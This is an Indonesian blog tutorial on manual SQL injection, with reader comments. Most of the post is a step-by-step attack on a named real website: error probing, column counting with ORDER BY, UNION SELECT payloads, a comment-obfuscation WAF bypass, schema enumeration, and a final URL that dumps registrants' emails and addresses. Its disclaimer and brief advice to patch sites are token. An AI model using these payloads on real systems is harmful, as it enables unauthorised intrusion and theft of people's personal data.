Tutorial Melakukan SQL Injection Manual

Ok gan kali ini saya akan memposting tentang tutorial SQLi Manual, ya tentunya namanya manual ya Cuma pake browser ama koneksi inet, hahahaha



Apakah yang dimaksud dengan SQL injection? atau Apakah SQLi/SQL injecttion itu? SQL injection adalah serangan yang memanfaatkan bug/kelemahan/vuln pada website yg mengizinkan attacker untuk memasukkan/input syntax/perintah yg dapat digunakan attacker untuk bisa mengambi; data dari website tersebut. Biasanya Incarannya adalah Admin atau CC/PP pada site tersebut.



Apakah bug SQL berbahaya? Bug SQLi ini merupakan bug yg berbahaya bagi website agan agan semuanya, karena bug ini akan memungkinkan seorang attacker untuk mendapat akses penuh pada website anda dan mengambil data data yg penting dari website anda, atau bisa juga untuk mendeface website anda. Jadi jika di website agan terdapat bug SQLi segeralah untuk menambal bug tersebut

Bagaimana cara attacker melakukan SQL Injection? Ok dibawah ini saya akan mendemonstrasikan bagaimana cara melakukan SQLi manual atau dengan Browser anda

Pertama, carilah website yg memiliki bug pada SQLi, bisa dengan google dorking atau dengan aplikasi auto dork scanner seperti Gr3eNoX. Di tutor saat ini saya memberikan website sebagai demo sekaligus contohnya, yaitu : www.mustangdrive-in.com/history.php?id=49


Sebelum dilanjutkan jangan lah berniat buruk untuk melakukan cyber crime Selalu ingatlah dengan dosa.

Kedua testlah bug tersebut apakah benar benar Vuln dengan memberi syntax ‘ pada akhir websitenya, contohnya seperti ini : www.mustangdrive-in.com/history.php?id=49’ jika muncul error seperti gambar dibawah berarti web tersebut benar benar vuln.




Ketiga carilah jumlah column dengan menggunakan syntax +order+by+1--+ sampai anda menemukan error gambar dibawah. Di website ini saya menemukan error pada angka 14 www.mustangdrive-in.com/history.php?id=49+order+by+14--+






Keempat, Jika error pada angka 14 berarti jumlah columnnya adalah 13, karena, jumlah column adalah angka sebelumnya pada error tersebut. Sekarang kita cari angka ajaib untuk menginject web yaitu dengan menambah – sebelum parameter *parameter merupakan angka sesudah =* dan menanmbah  +union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+ pada website, contoh www.mustangdrive-in.com/history.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+ dan mencullah angka ajaib seperti dibawah ini



Kelima, masukkan syntax group_concat(table_name,0x3c62723e) pada salah satu dari angka ajaib yg keluar dan tambahkan +from+information_schema.tables+where+table_schema=database()--+ pada akhiran web site tersebut. Contoh : www.mustangdrive-in.com/history.php?id=-49+union+select+1, group_concat(table_name,0x3c62723e),3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables+where+table_schema=database()--+ dan jika terhalang WAF seperti dibawah, maka kita harus melakukan Bypass WAF




Keenam, untuk bypass WAF seperti diatas maka +from+information_schema.tables+where+table_schema=database()--+ kita ganti dengan bypass nya yaitu /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()--+. Contoh : www.mustangdrive-in.com/history.php?id=-49+union+select+1, group_concat(table_name,0x3c62723e),3,4,5,6,7,8,9,10,11,12,13/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()--+. Dan Taraa WAF berhasil kita tembus, maka munculah table table seperti b



Ketujuh, Setelah muncul table maka kita harus membuka table tersebut, cara nya yaitu ganti group_concat(table_name,0x3c62723e) tadi denga group_concat(column_name,0x3c62723e) dan +from+information_schema.tables+where+table_schema=database()--+ dengan +from+information_schema.columns+where+table_name=CHAR()--+ dan rubahlah nama table tersebut dari text biasa menjadi decimal. Untuk menggantinya bisa menggunaka Hashkiller.co.uk. contoh, www.mustangdrive-in.com/history.php?id=-49+union+select+1, group_concat(column_name,0x3c62723e),3,4,5,6,7,8,9,10,11,12,13/*!froM*/ /*!InfORmaTion_scHema*/.cOluMNS /*!WhERe*/ /*!TaBle_NaME*/=CHAR(101, 118, 101, 110, 116, 114, 101, 103, 105, 115, 116, 101, 114)--+ *karena tadi terhalang bypass jadi kita juga harus membuka table dengan bypass juga, dan hasilnya seperti dibawah ini



Kedelapan, setelah mendapat nama columnnya kita tinggal mengambil datanya dengan cara ganti group_concat(column_name,0x3c62723e) denga group_concat(0x3c62723e,id,0x3c62723e,vemail,0x3c62723e,vaddress) isi dalam kurum dengan nama column yg ingin di ambil datanya lalu pisahkan dengan ,0x3c62723e, dan ganti /*!froM*/ /*!InfORmaTion_scHema*/.cOluMNS /*!WhERe*/ /*!TaBle_NaME*/=CHAR(101, 118, 101, 110, 116, 114, 101, 103, 105, 115, 116, 101, 114)--+ tadi dengan +from+nama table tadi--+ contohnya http://www.mustangdrive-in.com/history.php?id=-49+union+select+1,0x3c666f6e7420636f6c6f723d7265643e496e6a656374656420627920416b616e6720537472657373203a3a3c2f666f6e743e,3,4,5,group_concat(0x3c62723e,id,0x3c62723e,vemail,0x3c62723e,vaddress),7,8,9,10,11,12,13+froM+eventregister--+ maka hasilnya seperti dibawah


NB: SEGALA PENYALAHGUNAAN BUKAN MERUPAKAN TANGGUNG JAWAB DARI ADMIN, INI HANYA DIGUNAKAN SEBAGAI PELAJARAN SECURITY SAJA

Ada pertanyaan tanyakan lewat Facebook ini >> Aktivis Terlupakan

Mungkin cukup sekian dari saya, kurang lebihnya mohon maaf. Dan terimakasih atas perhatiannya :D

Alhamdulillah
Wassalamu'alaikum Wr Wb

Share this

Related Posts

Previous
Next Post »

20 komentar

komentar
August 3, 2015 at 9:48 PM delete

Oh.. jadi cara hacker gitu toh :)

Reply
avatar
August 3, 2015 at 10:03 PM delete

kurang lebih seperti itu gan, Soalnya saya bukan Hacker :D

Reply
avatar
August 3, 2015 at 10:11 PM delete

susah bacanya gan Gelap >.< nyalakan lampunya :'v #nice Post

Reply
avatar
Anonymous
August 3, 2015 at 10:19 PM delete

Kalo Bukan hekel Mana Bisa Ngasih tau kaya gtuan :v

Reply
avatar
August 3, 2015 at 10:48 PM delete

ya elah, masa cuma bisa gituan di bilang hekel :v

Reply
avatar
August 4, 2015 at 8:13 AM delete

Nice gan artikel dan infonya :)
Salam dari BlogWalker!

Reply
avatar
August 4, 2015 at 3:53 PM delete

cermati lagi gan. Insyaallah ngerti. hahaha

Reply
avatar
Anonymous
August 5, 2015 at 9:45 PM delete

mungkin perlu di luruskan, mainset antara hacker, defacer, carder, cracker dsb.

Reply
avatar
August 13, 2015 at 12:35 PM delete

nah betul tuh gan :v semua dah dianggep sama dimata masyarakat :o

Reply
avatar